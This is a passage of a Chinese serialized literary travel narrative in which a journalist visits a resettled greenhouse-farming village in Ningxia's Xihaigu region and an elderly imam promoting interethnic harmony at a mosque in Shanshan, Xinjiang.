正史记载,成吉思汗的秘葬地无人知晓,成陵只是衣冠冢和祭祀之所。但在这片土地上,传说比史书更有生命力。 叶葆启想起暗房里那张烟雾显形的照片,想起摄影记者描述的银色光网,想起自己按下快门时那种超越自我的状态。 “也许,”他说,“重要的不是埋在哪里,而是人们相信他埋在哪里。相信本身,就是一种力量。” 车窗外,草原无垠,天空如倒扣的蔚蓝巨碗。一群鹰在天际盘旋,画着看不见的圆。叶葆启想起蒙古族朋友唱的一句歌词,大意是:鹰飞得再高,影子也落在地上;人走得再远,魂也系在故乡。 他摸了摸胸口的石头。坚硬的、粗糙的、真实的触感。 相机躺在后备箱的器材包里,安静如冬眠的兽。那卷拍完的胶片已经寄回北京,那些瞬间已经被固化在化学涂层上,等待被更多人看见。但有些东西是无法被胶片记录的——比如风的味道,比如光的温度,比如在某个临界状态中,人与土地、与历史、与不可见之物的短暂相遇。 摄影记者靠在椅背上,闭上眼睛。他的酒彻底醒了,但某种更深的东西似乎刚刚苏醒。 小刘打开收音机,调到一个蒙古语频道。长调歌声流淌出来,悠远,苍凉,像一条看不见的河,在车厢里,在草原上,在时间中,无声奔流。 叶葆启看着前方。公路笔直地伸向天际线,仿佛没有尽头。他知道,这次采访还会遇到很多事,拍到很多照片,写下很多文字。但成陵的这一章,会像那枚贴在胸口的石头,一直硌在那里,提醒他关于醉与醒、看见与被看见、记录与超越的永恒辩证。 越野车继续西行,扬起淡淡的尘土。尘土在阳光中悬浮,久久不落,像是大地轻轻呼出的一口气息,在述说着那些未被言说、但始终存在的故事。 30. 第030章 黄土腹地的江南枝桠 越野车像一头疲惫的铁兽,在黄土的脊背上喘息前行。叶葆启把脸贴在车窗上,玻璃微震着,将窗外那些沟壑纵横的土地切割成颤动的碎片。这里的土不是土,是凝固了千年的贫瘠——据说一把攥下去,能在指缝间听见汉代征人的呜咽,明代流民的叹息,还有民国十八年旱魃经过时留下的、干裂如陶俑唇纹的哭泣。 西海固。这三个字在他舌头上滚过,带着砂砾的质感。 “最不适宜人类生存的地区之一。”摄影师突然开口,声音在车厢里闷闷的,“联合国的人来过,带着仪器和悲悯,量了降水量,算了蒸发量,最后在报告上写下这行字。可他们没量过这里人心脏的韧度。” 叶葆启看见一个老汉在坡地上赶驴。驴瘦得能数清肋骨,老汉的脊背弯成与地平线平行的弧。他们缓慢移动,在漫天的黄尘里,像一幅被时间遗忘的壁画。忽然,那老汉停下,朝他们的车望来。距离太远,看不清表情,但叶葆启莫名觉得,那眼神是烫的——烫过这片土地上所有冷却的苦难。 “快到了。”向导小马指着前方,“宁夏的华西村。” 话音落下时,道路忽然变了。 就像有人用橡皮擦去了黄土的咒语,一条水泥路毫无预兆地铺展开来,平坦得近乎傲慢。路两旁,白墙红瓦的房舍整齐列队,像是在接受检阅。最扎眼的是那些温棚——无数个透明隆起,在西北悍烈的阳光下泛着油脂般的光,棚内翻涌着不合时宜的绿,那绿太饱满、太嚣张,像是从江南水乡偷渡来的魂魄,硬生生塞进了黄土的胸膛。 叶葆启摇下车窗。风的味道变了。不再是干土和蒿草苦涩的气息,而是混着湿泥、腐殖质和某种瓜果将熟未熟的清甜。他眨了眨眼,怀疑自己是否在颠簸中睡去,跌进了一个过于逼真的梦。 马焕程在村口等他们。这个四十多岁的回族汉子,皮肤是黄土高原用风沙反复鞣制出的深褐色,皱纹的走向记录着每一场干旱的年份。但他伸出手时,叶葆启注意到那手掌出奇的厚实温暖,指甲缝里还嵌着新鲜的泥——这不是一双只拿文件的手。 “欢迎。”马焕程的笑声很实,砸在地上能听见回音,“路上看见了吧?咱们这儿,是西海固的‘叛徒’。” 他用的词让叶葆启一怔。 “叛离了穷,叛离了旱,叛离了命。”马焕程转身带路,脚步踩在水泥路上,发出清脆的响声。他走路时,叶葆启恍惚看见他身后拖着三个淡淡的影子:一个佝偻,是祖辈在窑洞里蜷缩的形状;一个摇晃,是父亲挑着空水桶翻山越岭的轮廓;第三个却是笔直的,甚至有些发烫——那是温棚塑料膜反射的阳光,在他身上镀的一层光边。 村委会的墙上挂着地图。不是行政区划图,而是一张手绘的迁徙图。粗重的箭头从那些被标注为“陡坡村”“旱沟梁”“狼刨泉”的地方射出,最终汇向这个用红圈标出的点。 “以前住在这些地方。”马焕程的手指划过那些地名,指肚上厚厚的茧摩擦着纸面,发出沙沙的声响,“吃水要到三十里外去驮,一盆水,先洗脸,再洗脚,最后喂牲口。娃娃们上学,天不亮就得出门,踩着月亮走,踩着星星回。那年我婆姨生老大,难产,四个汉子抬着门板往卫生院跑,跑到一半,没气了。” 他说得很平,像在讲别人的事。但叶葆启看见他喉结滚动了一下,很慢,很重,像是咽下了一块棱角分明的石头。 变化始于1996年秋天。马焕程形容那天的场景时,语言突然变得奇异起来:“那天本来刮着黄风,天和地像是被一锅煮糊的小米粥糊住了。忽然风停了,云裂开一道缝,三辆小轿车从缝里钻出来,车身上全是泥点子,像长了麻子的铁甲虫。” 来的是华西村的老书记吴文海和他的队伍。那个戴鸭舌帽的江南老汉,站在山梁上看了很久。风把他稀疏的白发吹得竖起来,像一蓬燃烧的芦苇。他忽然蹲下,抓起一把土,放在鼻尖闻,又伸出舌尖舔了舔。 “他舔了土!”马焕程的眼睛在那一刻亮得骇人,“然后他说:‘这土是苦的,但苦土最养人。能在这里活下来的人,骨头上都刻着“耐”字。现在,咱们得给这个“耐”字,旁边加上一个“富”字。’” 吴文海临走前,在村口的土崖上埋下一把稻谷——江南的稻谷,在这片从未长过水稻的土地里。这是个仪式,马焕程理解。后来破土动工时,他们真的挖到了那些谷子,已经腐烂了,但腐烂的缝隙里,竟然冒出了几星怯生生的绿芽。 “那是幻觉。”马焕程摇摇头,“我们都知道。可施工的汉子们,那天干活特别狠,像是在和什么看不见的东西较劲。” 马新玉家的温棚有半亩大。走进去的瞬间,叶葆启被一股汹涌的、潮湿的暖意包裹了。空气稠得能划出痕,西红柿的藤蔓沿着吊线疯狂攀爬,果实累累甸甸,红得像要滴下血来。辣椒们则绿得发黑,沉静地悬挂着,像倒垂的匕首。 “以前在山里,种一坡地,收一麻袋麦子,瘪的,一搓就剩层皮。”马新玉说话时不停搓手,那双手关节粗大,指甲缝却是干净的——温棚里的劳作,不染风尘,“现在这两个棚,去年卖了两万三。两万三啊,我婆姨数钱时手抖,数了五遍。” 他的妻子,那个叫法图麦的女人,正蹲在垄间掐侧枝。她戴着头巾,阴影遮住上半张脸,只露出鼻尖以下的部分。当她抬头回答叶葆启的问题时,他看见她嘴角有两道深深的纹路——那不是衰老的纹,是常年紧抿嘴唇留下的、类似于陶器开片的细裂。 “以前在山里,最怕娃娃生病。”法图麦的声音很低,但每个字都咬得很清楚,像在背诵一篇重要的证词,“半夜发烧,只能给他喂灶灰水。现在卫生所就在村东头,李大夫是从银川来的,听诊器冰得很,娃娃一哆嗦。” 她说到这里,忽然停下,手指无意识地捻着一片西红柿叶子。叶葆启顺着她的目光看去,透过塑料膜模糊的光影,能看见远处新建的小学教学楼,楼顶的国旗在风里舒卷。 “娃娃现在说普通话。”法图麦轻轻说,“回家来,教我:‘妈,这不是西红柿,是番茄。这不是馍,是馒头。’”她笑了,那笑容从嘴角的裂纹里渗出来,让整张脸突然变得柔软,“我说,你教我这个做啥?她说,以后去外面,要说得和别人一样。” 叶葆启在笔记本上写:“移植,不仅是作物,还有语言,还有对世界的想象。” 当晚他们住在村委会的客房里。深夜,叶葆启被尿憋醒,起身去院角的旱厕。经过温棚区时,他忽然听见一种声音——低低的、持续的嗡鸣,像是无数细小的舌头在舔舐黑暗。 他站住,仔细听。是温棚。 塑料膜在夜风里微微鼓荡,发出叹息般的窸窣;支架的金属接口因温度变化轻轻“咔”响;更深处,是植物生长的声音——细胞分裂、汁液流动、根系在潮湿的基质里隐秘地扩张。所有这些声音交织在一起,变成了这片土地从未有过的呓语。 一个佝偻的身影在不远处亮起一点红光。是马焕程在抽烟。 “睡不着?”叶葆启走过去。 “习惯了。每晚得来转转,听听它们呼吸。”马焕程把烟递过来,叶葆启摆摆手,他也没勉强,深深吸了一口,烟头猛亮,照亮他半张脸,“有时候觉得,这些棚子不是棚子,是肺——给西海固换的新肺。” 沉默了一会儿,他突然说:“你知道吗?最开始建棚时,好多老人不肯进。说这里面太闷,味道太‘生’,闻着头晕。有个马阿爷,蹲在棚口哭,说他一辈子没闻过这么浓的绿味,害怕。” “后来呢?” “后来他孙子在棚里种出了第一茬黄瓜。娃娃把黄瓜摘下来,直接塞到他手里。老爷子盯着那根带刺的、碧绿的东西,看了足足一炷香时间,然后慢慢抬起手,咬了一口。嚼着嚼着,眼泪就下来了。他说:‘甜的,是甜的。’” 马焕程弹掉烟灰:“那以后,老人常拄着拐杖来棚边晒太阳。不进去,就坐在棚外,隔着塑料膜看里面。他们说,看着那些绿影子晃啊晃的,心里踏实。” 村东头的清真寺是新建的。样式很奇特——穹顶是传统的绿色新月,但墙体用了江南常见的白墙黛瓦元素,拱门上的砖雕,既有阿拉伯纹样,又融进了莲花和流水图案。 “华西来的设计师画的图。”马焕程抚摸门廊的立柱,“吴老书记说,既要现代化,又得守住根本。他们专门从南京请了懂□□建筑的专家,还让我们的阿訇去苏州看园林。” 礼拜时间到了。男人们从温棚里、从村委会、从修车铺走出来,脱下沾泥的外套,换上洁净的白帽,沉默地走向清真寺。脚步踏在水泥地上,发出整齐的、潮水般的声响。叶葆启站在远处,看见那些背影——有的微驼,是黄土塑造的曲线;有的笔挺,带着新生活的硬度。他们汇聚在寺门前,像无数条溪流归入同一条河。 晚霞正在西天燃烧。天空呈现一种诡异的层次:靠近地平线是熔金的赤红,向上渐变成橘黄、淡紫,最高处却还顽固地守着高原特有的、毫无杂质的靛蓝。就在这时,叶葆启看见了月亮。 不是一枚,是两枚。 一枚真实的、淡白的月,已经悄然悬在东边的天空;另一枚是清真寺穹顶上那弯新月的倒影,被夕阳的余烬点燃,在深绿的琉璃上泛出温润的金光。真实与象征,在此时此地,达成了某种短暂的和解。 阿訇的唤拜声响起。悠长、苍凉,却又奇异地充满了力量。那声音拂过温棚的塑料膜,拂过小学的旗杆,拂过家家户户门楣上崭新的门牌号,最后融进渐渐浓稠的暮色里。 “知感主。”马焕程轻声说,“给我们苦难,也给我们出路。” 那晚的座谈会在小学教室举行。日光灯管发出稳定的嗡鸣,孩子们画的水彩画贴在墙上——画上有红色的房顶,绿色的温棚,还有黄色的、笑眯眯的太阳。一个女孩给太阳画了睫毛。 村民们说话时,叶葆启注意到一个细节:他们不再说“我们山里人”,而说“我们华西村的”。这个前缀的改变,轻微却致命。它像一根针,将新的身份缝进了旧的血肉。 得到自治区领导马宇文的采访许可,是个意外。按程序层层上报时,叶葆启已经做好了石沉大海的准备。但三天后,电话来了,声音平稳:“领导明天下午三点有空,二十分钟。” 他们提前一小时到政府大院。楼很旧,墙上的爬山虎枯了一半,另一半还在挣扎着绿。秘书引他们进办公室时,马宇文正在窗边看文件。听见声音,他转过身来——个子不高,面容清癯,戴一副老 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“每个点,都是一次实验。”他的手指划过那些圆圈,“有的种枸杞,有的养滩羊,有的搞光伏。华西村是起点,不是终点。我们要做的,是让这些点连成线,线铺成面。让整个西海固,不再是一个被定义的‘不适宜’,而是一个正在被书写的‘可能性’。” 说到这里,他忽然顿了顿,看向窗外。院子里,一棵老槐树正在落叶,叶子旋转着下落,像慢放的黄金雨。 “我父亲是西海固人。”马宇文的声音低了下来,“1960年,他背着我,走了四天四夜,到黄河边找吃的。我那时五岁,只记得他背上的骨头硌得我生疼。后来他找到半个冻硬的南瓜,自己舍不得吃,全喂给了我。我问他:‘爸,你饿不?’他说:‘不饿,我喝了黄河水,管饱。’” 他转回身,镜片上有反光,看不清眼神:“那天他喝了一肚子冷水,晚上就起了烧,三天后没了。临终前他拉着我的手说:‘娃,以后要是有谁能让这块土地长出吃饱的粮食,你要给人家磕头。’” 办公室里静极了,能听见日光灯管轻微的电流声。 “所以,”马宇文坐回沙发,端起已经凉了的枸杞茶,一饮而尽,“我不感谢华西村,我感谢这个时代——终于到了可以不靠喝冷水充饥的时代。” 原定二十分钟的采访,持续了一小时十七分钟。结束时,马宇文主动和每个人握手。握到叶葆启时,他多停了两秒:“记者同志,写的时候,别光写成绩。写写那些还没解决的——温棚的塑料膜三年一换,成本怎么降?蔬菜集中上市时的销售压力怎么办?年轻人还是想往城里跑……把这些也写进去。真实的希望,是知道难处还在,但还是敢往前走。” 离开那天下起了小雨。雨丝很细,落在黄土上,瞬间就被吸干了,只留下深色的斑点,像是大地刚刚哭过。 村民们来送行。马新玉拎来一塑料袋西红柿,个个饱满通红:“路上吃,没打药。”法图麦默默塞给女记者一条手工绣的花头巾,图案是牡丹和葡萄藤缠在一起——西北和江南的意象,怪异地和谐着。 马焕程最后过来,他没带东西,只是握了握每个人的手。握叶葆启时,他低声说:“你笔记里写的那句,我看见了——‘移植的不仅是作物,还有对世界的想象’。写得好。” 车启动了。透过雨迹斑驳的后窗,叶葆启看见那些白墙红瓦的房屋在倒退,那些温棚在倒退,整个村庄在黄土的海洋里,像一艘正在缓缓下沉的、绿色的方舟。马焕程的身影越来越小,最后变成一个黑点,凝固在村口的石头上。 开出十几公里后,雨停了。太阳破云而出,光线猛烈如斧,将天地劈成明暗两半。叶葆启忽然让司机停车。 他下车,走回一个高坡。从这里回望,华西村已经看不见了。眼前只有无尽的、沟壑纵横的黄土高原,在雨后蒸腾起淡淡的、金色的雾气。风从更深的西边吹来,带着祁连山雪水的寒意,也带着毛乌素沙地沙粒的粗糙。 但就在这风里,叶葆启分明闻到了什么——一丝微弱的、执拗的、西红柿叶子被揉碎后的清冽气息。它不该出现在这里,但它就在这里,缠绕在每一粒飞过的尘埃上,附着在每一缕掠过的风里。 他蹲下,抓起一把土。土是湿的,在手心微微发粘。他仔细看,在土褐色的颗粒间,发现了一点不一样的东西:极细小的、几乎看不见的绿色纤维。可能是风吹来的草屑,也可能是温棚里飘出的塑料膜碎屑。 但叶葆启宁愿相信,这是种子。是那些江南来的稻谷腐烂后,魂魄未散,化成更微小的形态,开始在这片苦土里,进行一场静默的、浩大的殖民。 他松开手,让土从指缝流回大地。然后站起身,拍了拍手。 上车前,他最后看了一眼西方。更辽阔的甘肃、更神秘的青海、更遥远的西域古道,都在那里等待着。但此刻,他心中那片曾经干燥皲裂的版图上,已经有了一个湿润的、绿色的坐标。 车重新发动。叶葆启打开笔记本,在新的一页上写下标题: 《黄土腹地的江南枝桠——一个村庄的魔幻现实与两种命运的嫁接术》 他写得很慢,每一个字都像在夯土,要夯进纸的深处。窗外,黄土高原继续展开它无边无际的褶皱,像是大地的脑回沟,正在思考一个关于重生的问题。而他们的车,正朝着那些思考的深处,一路碾进去。 31. 第031章 大同心寺的老阿訇 越野车像一只疲倦的甲虫,在祁连山北麓的褶皱里缓慢爬行。驶出甘肃地界时,叶葆启摇下车窗,探出手去,仿佛能摸到省界线上那层看不见的膜——干燥的空气突然变得锐利,像无数细小的玻璃碴子刮擦着皮肤。 戈壁滩在视野尽头铺展开来,那是一片被烈日煮沸的土地。热浪从地底升起,扭曲着远处的景物,骆驼刺在蒸腾的空气中跳舞,跳着一种濒死的、癫狂的舞蹈。张记者眯起眼睛,说这热浪能把人的眼珠子烤成葡萄干。叶葆启没接话,他正盯着地平线上那一抹流动的赭红色——那是被风卷起的尘土,在天地间拉出一道血色的帷幕。 进入西部境内,第一个目标是哈密。但叶葆启的心思早已飞向东南方向的吐鲁番盆地。在他的采访本上,用红笔圈着一个地名:鄯善县,大同心寺。旁边用铅笔小字注着:“阿里木·卡德尔阿訇,八十七岁,任职六十载,被誉为‘活着的和解之书’。” 吐鲁番的火焰山果真名不虚传。车子驶近时,叶葆启恍惚觉得那山在呼吸——山体泛着暗红色,像巨兽冷却的肝脏,山脊在热浪中微微起伏。当地人讲,当年孙悟空借芭蕉扇的故事就发生在这里。叶葆启想,若真有那场大火,烧了五百年也未熄灭,那这山体里定还埋着三昧真火的余烬。他伸手触摸路边的岩石,烫得缩回手,指尖留下淡淡的白色印记,像被什么看不见的东西咬了一口。 坎儿井的地下渠道里,却是另一个世界。沿着石阶往下走,温度一层层降下去,最后抵达那片阴凉时,耳膜会突然嗡鸣——那是地底水流的声音,混杂着千年来的窃窃私语。导游是个脸颊红扑扑的维吾尔族姑娘,她说这些地下水道是祖先用指甲和牙齿抠出来的。“有时候夜深人静,”她神秘地压低声音,“还能听见下面传来叮叮当当的凿石声,那是祖先们还在工作呢。” 叶葆启蹲下身,将手浸入渠水。水极凉,凉得刺骨。他忽然产生一个古怪的念头:这水流经地底时,是否携带着古代匠人的汗水和祈祷?是否每一滴水珠里,都压缩着一小片黑暗和一份坚持? 葡萄沟倒是甜的,甜得发腻。八月的葡萄架下,果实累累,紫的像凝固的血,绿的像翡翠眼泪。一位满脸皱纹如干核桃的老妇人坐在藤椅上,用缺了牙的嘴慢慢咀嚼葡萄。她递给叶葆启一串:“吃吧,孩子,这里的葡萄吃了不说谎。”叶葆启接过,汁液在口中爆开,那甜味如此浓烈,竟带着一丝苦尾——就像这片土地的记忆。 风电场的景象却颇具超现实意味。巨大的白色叶片在热风中缓慢转动,像巨人的手掌在空气中划着什么符咒。光伏板阵列铺展开来,一眼望不到边,在烈日下反射着刺眼的白光。叶葆启站在阵列边缘,感到自己渺小如蚁。这些沉默的科技造物与古老的土地形成奇异对话——风还是千年前吹过丝绸之地的风,光还是烤焦玄奘袈裟的光,只是如今它们被捕捉、驯服,转换成电流,点亮遥远的城市。 但叶葆启心中始终悬着那个名字:大同心寺。在招待所的夜晚,他辗转难眠。窗外是西部深邃的夜空,星子低垂,仿佛一伸手就能摘下一把。远处不知谁家在弹奏都塔尔,琴声呜咽,如泣如诉。那旋律钻进耳朵,在脑海里盘旋,渐渐幻化成一些模糊的画面:沙漠中的驼队,蒙面纱的女子,清真寺穹顶上的新月被风沙磨得锃亮。 凌晨时分,他爬起来记录这些破碎的印象。笔记本的纸页在台灯下泛着微黄,钢笔尖划过纸面,发出沙沙声,像春蚕啃食桑叶。他写道:“在这片土地上,每一个故事都至少有两层:表面的是日光下的现实,底下的是月光里的记忆。好记者应当学会同时倾听这两个版本。” 抵达鄯善县城已是傍晚。夕阳把城墙染成橘红色,城墙的影子拉得很长,像躺倒的巨人。街边烤馕的炉火已经点燃,麦香混合着炭火气,在空气中织成一张温暖的网。卖哈密瓜的小贩用生硬的汉语吆喝:“甜过初恋!不甜不要钱!” 县里干部赛达尔·库尔班是个精干的维吾尔族汉子,四十来岁,眼睛亮得像戈壁夜空里的星。他说话时喜欢用手势,手指修长,动作优雅。“叶记者,”他郑重地说,“大同心寺不是普通的寺庙。它是活的,会呼吸,有记忆。买买提阿訇也不是普通的人——他是这片土地的良心。” 次晨出发前,叶葆启特意换了件干净的浅色衬衫。张记者检查相机设备,电池充满,内存卡清空,镜头擦拭得一尘不染。小刘在车上备足了水:“听说寺里规矩多,咱们可不能失礼。” 车子驶入维吾尔族聚居区。巷子狭窄曲折,土坯房屋肩挨着肩,像一□□头接耳的老人。葡萄藤从这家院墙爬到那家,紫红色的果实垂下来,路人伸手可摘,却无人去摘。孩子们在巷子里追逐嬉戏,见到车子,纷纷停下,睁着大眼睛好奇地张望。他们的眼珠极黑,黑得像深井,映出越野车的倒影。 大同心寺出现在巷子尽头时,叶葆启心头微微一震。 它没有想象中宏伟,土黄色的墙体被岁月剥蚀出深浅不一的斑纹,像老人手上的寿斑。穹顶上的新月标志却是崭新的,在湛蓝天空下闪着银光。寺门是厚重的木门,门板上的纹路扭曲盘旋,似文字非文字,似图案非图案。叶葆启凑近细看,才发现那是无数个手掌印重叠而成的——历代信徒进门时都会按一下门板,积年累月,木头记住了每一只手掌的温度和纹路。 赛达尔·库尔班轻声提醒礼仪事项。他的声音压得很低,仿佛怕惊扰了什么。叶葆启点头,脱鞋时格外小心,袜子有个小洞,他下意识缩了缩脚趾。 院里的老榆树堪称奇迹。树干需三人合抱,树冠如巨伞撑开,投下的阴凉覆盖半个院落。树干上系着许多彩色布条,在微风中轻轻飘动。赛达尔·库尔班说,这些都是许愿布,有求健康的,有求姻缘的,有求子孙平安的。“这棵树有三百岁了,”他抚摸着粗糙的树皮,“买买提阿訇说,它听过清朝的钟声,见过马队的烟尘,如今又在听孩子们的读书声。” 老阿訇坐在廊下的地毯上。 第一眼看到他,叶葆启想起博物馆里见过的一尊唐代木雕——线条简练,质感温润,岁月把棱角磨圆了,却磨不掉内在的精神。阿里木·卡德尔阿訇须发皆白,白得像祁连山顶的终年积雪。他戴白色礼拜帽,穿素色长袍,盘腿坐着,背挺得笔直。手中握着一串磨得发亮的念珠,手指缓缓拨动,珠子相碰发出细碎的声响,像雨滴落在铜盘上。 他正在诵经。声音不高,却有种奇特的穿透力,每个音节都圆润饱满,在院子的空气中缓缓滚动。叶葆启听不懂经文内容,却能感受到那声音的质地——它不像从喉咙发出,倒像从胸腔深处、从更深的什么地方涌上来,经过八十七年光阴的过滤,变得清澈而厚重。 赛达尔·库尔班上前低声说明来意。老阿訇听着,眼睛半闭,念珠仍在指间流动。然后他抬起眼帘。 叶葆启从没见过那样的眼睛。瞳孔是深褐色的,边缘有一圈淡淡的金环,像日蚀时光球周围的光晕。眼白有些泛黄,布满细密的血丝,那是长年熬夜诵经、在油灯下阅读的痕迹。但眼神清澈得出奇,看人时,仿佛能穿透皮肉,直接望见骨髓里的念头。 “记者同志,远道而来,辛苦了。”老阿訇开口,汉语带着浓重的口音,每个字都咬得很实,像把石子一颗颗摆在面前,“请坐。” 众人席地而坐。地毯是手工织的,图案繁复,红色为主调,间以金色和蓝色的花纹。叶葆启盘腿时有些不习惯,老阿訇看见了,微微一笑:“像骑骆驼,找到那个节奏就好了。” 小刘留在院外车上。从敞开的寺门能看到他靠在驾驶座上打盹,帽子盖着脸,胸口随呼吸微微起伏。一只花猫跳上引擎盖,在他腿边蜷成一团。这个画面莫名让叶葆启心安——内与外,神圣与世俗,就这样被一扇门温和地隔开,又微妙地连接。 采访开始了。 叶葆启首先表达敬意,说明来意。老阿訇静静听着,手指仍在拨动念珠。等叶葆启说完,他没有立即回应,而是抬头望了望榆树冠隙间洒下的光斑。那些光斑在地毯上跳动,像一群金色的小鱼。 “如是说……”他缓缓开口,诵出一段阿拉伯语经文,然后翻译成汉语,“‘众人啊!我确已从一男一女创造你们,我使你们成为许多民族和宗族,以便你们互相认识。’” 声音在院子里回荡。有风吹过,榆树叶沙沙作响,仿佛在应和。系在树上的许愿布条舞动起来,彩色的影子在地面上交织。 “互相认识,”老阿訇重复这四个字,每个字都咬得很重,“不是互相打量,不是互相猜疑,是真正地认识——认识你的痛苦,你的欢乐,你为什么笑,为什么哭,为什么在深夜叹息。” 他讲起寺里的“团结讲堂”。每月一次,不同民族的人坐在这张地毯上,喝同样的茶,吃同样的馕。开始大家拘谨,腰板挺直,双手放在膝盖上。后来慢慢松弛,有人盘起腿,有人靠上柱子。再后来,开始分享故事——回族老人讲当年走西口的艰辛,维吾尔族青年说创业的挫折,汉族教师谈双语教学的趣事。 “故事是有温度的,”老阿訇说,“一个故事能融化十座冰山。” 有一次调解邻里纠纷。两家孩子打架,一家是维吾尔族,一家是汉族。家长各执一词,情绪激动,都觉得自己孩子受了委屈。老阿訇没有立即评判,而是让两个孩子坐在地毯中央,问他们:“打架的时候,你在想什么?” 维吾尔族男孩抽泣着说:“他骂我爸爸是卖假羊肉串的。” 汉族男孩红着脸反驳:“我没说!我说的是上次吃的羊肉串有点咸。” 原来是一场误会。语言上的细微差异,加上孩子们的好胜心,演变成拳脚相向。老阿訇让两个孩子拥抱和解,然后对家长说:“你们看,孩子的仇恨来得快,去得也快。大人的仇恨为什么难消除?因为大人往简单的事情里加了太多东西——加了面子,加了猜疑,加了‘他们肯定如何如何’的成见。” 他从长袍内袋掏出一个褪色的笔记本,翻到某一页,递给叶葆启看。页面上用维吾尔文、汉文双语工整地写着:“调解记录:第347例。事由:院墙边界纠纷。调解原则:1.依据古训‘你们应当公正’的教导;2.遵循国家《物权法》相关规定;3.兼顾邻里情谊和长远和睦。结果:各退十五厘米,空出三十厘米作为‘友谊通道’,共同种植葡萄一株。” 叶葆启抚摸着纸页。纸张已经脆黄,边缘起毛,墨迹有些晕染。他能想象老阿訇在油灯下记录的样子——佝偻着背,鼻梁上架着老花镜,一笔一画,认真如小学生。 “这棵葡萄现在长得很好,”老阿訇微笑,“夏天结的果,两家平分。甜的归孩子,酸的我们老人泡茶喝。有酸有甜,才是生活。” 每逢传统节日,寺庙会组织慰问孤寡老人。老阿訇特别强调:“不分民族,不分信仰。”有一次去一位汉族孤老家,老人卧床多年,屋里气味难闻。年轻志愿者们有些犹豫,站在门口踌躇。老阿訇第一个走进去,自然地坐在老人床沿,握着他的手问最近身体如何。后来志愿者们说,那一刻,他们看见的不是一位阿訇,而是一个普通的、慈悲的老人。 “信仰应当在手上,在脚下,在擦洗地板的水盆里,在递给孤老的那碗热茶里,”老阿訇说,“不在高高在上的讲坛上。” 寺里的经文学校也很有特色。除了教授宗教知识,还开设国家通用语言课、数学课、科学常识课。老阿訇亲自编写教材,“比如‘爱国是信仰的一部分’,”他举例,“我会告诉孩子们:爱护你生长的村庄,爱护流淌过村庄的河流,爱护给你馕吃、给你衣穿的国家,这就是爱国的开始。爱国不是空洞的口号,是你对脚下每一寸土地的责任。” 叶葆启飞快地记录。笔尖在纸上沙沙作响,像春蚕啃食桑叶。他感到自己不仅在记录言语,更在吸收一种智慧——一种在这片特殊土地上生长出来的、兼具信仰高度和现实温度的智慧。 他问出那个酝酿已久的问题:“阿訇,您觉得这些年,最大的变化是什么?” 老阿訇没有立即回答。他望向院门外的街巷。正午的阳光泼洒下来,把土坯墙照得发白。几个维吾尔族妇女走过,彩色裙摆在阳光下闪烁如孔雀翎。远处传来摩托车的引擎声,那是邮递员在送快递——如今连这个偏僻的小城也有了电商。 他看了很久,久到叶葆启以为他忘了问题。然后他缓缓开口,声音里有一种深沉的温柔: “最大的变化?是人心落地了。” “早些年,人心是悬着的,像没系稳的风筝,一阵风就能吹跑。担心明天有没有饭吃,担心孩子能不能上学,担心生病了怎么办。人心悬着的时候,就容易听信各种话,好的也听,坏的也听,因为悬着的心需要抓住点什么。” “现在你看,”他指着街巷,“路修好了,电通了,自来水接到了灶台边。孩子们上学不要钱,老人看病能报销。年轻人不用去远方,家门口就有活干。葡萄能卖出去,馕能烤得更香。人心就慢慢落下来了,落到实实在在的生活里。” “人心落在生活里,根就扎得深。根深了,就不怕风吹。那些挑拨离间的话,就像风吹过密林——听着响动大,其实伤不了根本。因为人人心里都明白:好日子不是吵出来的,是干出来的;团结不是喊出来的,是一天天处出来的。” 他忽然起身,动作有些迟缓——毕竟八十七岁了。叶葆启想去扶,老阿訇摆摆手,自己撑着柱子站起来,走到寺墙边。墙是土坯砌的,墙面粗糙,留着工匠手掌的印痕。墙头长着一丛耐旱的野草,在热风中轻轻摇曳。 墙的另一侧,是汉族邻居李老汉的家。两家的院墙挨着,共用一道墙,真正是“一墙之隔”。墙根处有个小洞,不大,拳头大小。 老阿訇蹲下身,指着那个洞:“你看这个。” 叶葆启凑过去看。洞里黑黝黝的,隐约可见对面院子的光。 “这不是老鼠洞,”老阿訇微笑,“是我们特意留的。早年没有电话,两家有什么事,就趴在这个洞口传话。李老汉的老伴病了,他趴这边喊:‘买买提大哥,能不能借点冰糖?熬药要用。’我就从这边递过去。我家孙子发高烧,我趴这边喊:‘李老弟,有没有退烧药?’他就递过来。” “后来条件好了,装了电话,但这个洞没堵上。过年他们包饺子,从洞口递过来一碗;古尔邦节我们炸馓子,也递过去一盘。有时候什么也不递,就是趴着聊聊天——他讲讲儿子在乌鲁木齐的工作,我说说孙子在学校得的奖状。” 老阿訇的声音越来越轻,像在说一个珍贵的秘密: “这个洞很小,但能穿过一碗饺子,能穿过一包药,能穿过几十年的交情。记者同志,你说,那些想把我们分开的人,他们懂这个洞吗?” 叶葆启喉咙发紧,说不出话。他蹲在那里,看着那个不起眼的小洞,忽然觉得它比任何宏伟的建筑都更有力量。这是民间的智慧,是生活本身创造的奇迹——在坚硬的墙上开一个小孔,让温暖得以流通。 这时,礼拜时间将至。 先是远处传来悠长的唤礼声。那声音从另一个清真寺的宣礼塔传来,穿过密集的民居,越过葡萄架,飘进大同心寺的院子。声音在空中颤动,像一只巨大的、透明的鸟在盘旋。 老阿訇凝神倾听,嘴唇微微嚅动,仿佛在与那声音应和。然后他转向叶葆启:“记者同志,我要去主持礼拜了。如果你们想记录,可以在殿外,但请保持安静。闪光灯会惊扰虔诚的心,而心一旦受惊,就像受惊的鸟儿,很难再唤回。” 叶葆启郑重承诺:“您放心,我们只远远记录,绝不打扰。” 老阿訇点点头,转身向大殿走去。走得很慢,但步伐稳健。白袍的下摆轻轻拂过地面,像一片云低低飘过。 人们开始陆续到来。他们从各个巷口走出,沉默地走进寺院。有满脸皱纹的老人,拄着拐杖,走一步喘一口气;有壮年男子,手掌粗糙,指甲缝里还留着干活的黑泥;有少年,脸上长着青春痘,眼神清澈又略带羞涩。他们彼此点头致意,但不说话,仿佛在进入一种共同的、庄严的准备状态。 脱鞋时,他们都面朝大殿,动作缓慢而恭敬。鞋子在殿外摆得整整齐齐,像一队安静的士兵。然后赤脚走进殿内——那些脚板有的宽厚,有的瘦削,有的布满老茧,有的还显稚嫩,但此刻都平等地踏上光洁的地毯。 叶葆启和摄影记者轻手轻脚来到大殿门外。张记者端起相机,调整焦距,屏住呼吸。 殿内的景象让叶葆启心头一震。 阳光从高窗斜射进来,在空气中切出明暗交错的光柱。尘埃在光柱中缓缓旋转,像微观的星河。信众们面向麦加方向跪坐整齐,白色的礼拜帽连成一片,如雪后的原野。老阿訇站在最前方,背对众人,面朝壁龛。他的白袍在斜光中几乎透明,边缘泛着淡淡的光晕。 